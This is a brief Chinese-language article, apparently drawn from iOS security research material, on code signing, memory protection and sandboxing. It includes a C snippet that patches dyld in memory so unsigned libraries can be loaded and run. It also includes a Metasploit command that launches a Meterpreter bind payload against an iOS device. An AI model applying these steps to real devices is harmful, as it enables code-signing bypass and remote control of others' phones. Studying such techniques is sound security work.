10、iOS安全：代码签名、内存保护与沙盒机制深度解析

iOS安全：代码签名、内存保护与沙盒机制深度解析

1. 代码签名与内存保护

1.1 代码补丁与无符号库加载

通过以下代码对dyld进行补丁操作：

unsigned int patch4 = (unsigned int) x + 0xbc34;
memcpy((unsigned int *) patch4, “\xc0\x46”, 2);

经过补丁后，dyld会将库加载到指定的RWX区域。由于修改了 libdyld.dylib 中的指针，调用 dlopen 或 dlsym 的代码实际上会调用打了补丁的dyld，从而实现iOS应用调用 dlopen 和 dlsym 加载并执行无符号库。

1.2 在iOS上使用Meterpreter

可以编写高级库供应用加载或用于漏洞利用，其中Meterpreter是一个强大的有效负载。以下是在iOS设备上运行Meterpreter的示例命令：

$  ./msfcli exploit/osx/test/exploit RHOST=192.168.1.2 RPORT=5555 LPORT=5555 PAYLOAD=osx/armle/meterpreter/bind_tcp DYLIB=metsrv-combo-phone.dylib AutoLoadStdapi=False E